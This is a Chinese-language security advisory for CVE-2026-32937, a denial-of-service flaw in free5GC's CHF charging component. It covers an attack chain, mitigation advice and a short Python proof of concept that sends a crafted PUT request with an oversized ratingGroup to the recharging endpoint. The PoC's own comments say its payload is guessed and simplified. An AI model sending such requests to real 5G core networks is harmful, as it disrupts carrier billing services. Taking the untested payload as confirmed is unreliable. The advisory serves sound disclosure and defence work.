IPBUF安全漏洞报告
English
CVE-2026-32937 CVSS 6.5 中危

CVE-2026-32937 free5GC CHF越界访问致DoS漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32937
漏洞类型
越界访问
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
free5GC

相关标签

拒绝服务越界访问free5GC5G核心网DoS

漏洞概述

free5GC是开源5G核心网项目。其CHF组件在1.2.2之前的版本中存在越界切片访问漏洞。经过身份验证的攻击者可向/nchf-convergedcharging/v3/recharging接口发送特制的PUT请求,触发服务端Panic。尽管Gin恢复机制会返回HTTP 500,但该漏洞仍可被重复利用以降低充值功能可用性、淹没日志并导致拒绝服务。

技术细节

该漏洞位于free5GC CHF组件的SBI服务处理逻辑中,具体源码路径为`github.com/free5gc/chf/internal/sbi.(*Server).RechargePut(...)`。漏洞的根本原因是代码在处理请求参数时,未能对切片索引进行必要的边界检查。当攻击者向`/nchf-convergedcharging/v3/recharging/:ueId?ratingGroup=...`发送包含恶意构造的PUT请求时,程序会尝试访问超出切片长度范围的索引,从而触发Go语言的运行时Panic。在标准部署中,Gin框架的恢复中间件会捕获Panic并返回HTTP 500状态码,防止进程直接退出,但频繁的Panic会导致上下文频繁重建、资源耗尽以及日志系统拥堵。由于CHF负责计费功能,持续的攻击将导致5G核心网计费服务不可用,严重影响网络运营稳定性。

攻击链分析

STEP 1
侦察与认证
攻击者识别目标网络中的free5GC CHF服务,并获取低权限的API访问凭证(如OAuth令牌)。
STEP 2
构造恶意请求
攻击者构造特定的PUT请求,目标路径为`/nchf-convergedcharging/v3/recharging/:ueId`,并在参数中包含触发越界读取的数据。
STEP 3
触发漏洞
向CHF服务发送恶意请求。服务端处理请求时,由于代码逻辑缺陷发生切片越界访问,触发Go运行时Panic。
STEP 4
拒绝服务
频繁的Panic导致服务不断重启或处于高负载状态,日志系统被淹没,最终导致充值功能不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests """ PoC for CVE-2026-32937 Trigger out-of-bounds slice access in free5GC CHF. Requires authentication. """ def exploit(target_url, access_token): headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Malicious payload designed to trigger out-of-bounds access # The specific value depends on the internal slice logic, usually an index or malformed ID ue_id = "imsi-999999999999999" payload = { # Structure depends on the API expectation, simplified for PoC "ratingGroup": [999] } # Vulnerable endpoint url = f"{target_url}/nchf-convergedcharging/v3/recharging/{ue_id}" try: response = requests.put(url, headers=headers, json=payload, timeout=5) if response.status_code == 500: print("[+] Potential trigger successful: Server returned 500 Internal Server Error.") else: print(f"[-] Request returned status code: {response.status_code}") except Exception as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": target = "http://<free5gc-chf-ip>:<port>" token = "<valid_auth_token>" exploit(target, token)

影响范围

free5GC CHF < 1.2.2

防御指南

临时缓解措施
建议立即将free5GC CHF组件升级至1.2.2或更高版本以修复漏洞。若无法立即升级,应实施网络隔离措施,严格限制对`nchf-convergedcharging`服务的访问权限,仅允许可信网络功能(NF)调用。同时,在接口前端配置速率限制策略以防止攻击请求 flood,并确保日志监控与告警机制处于启用状态,以便及时发现异常Panic事件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表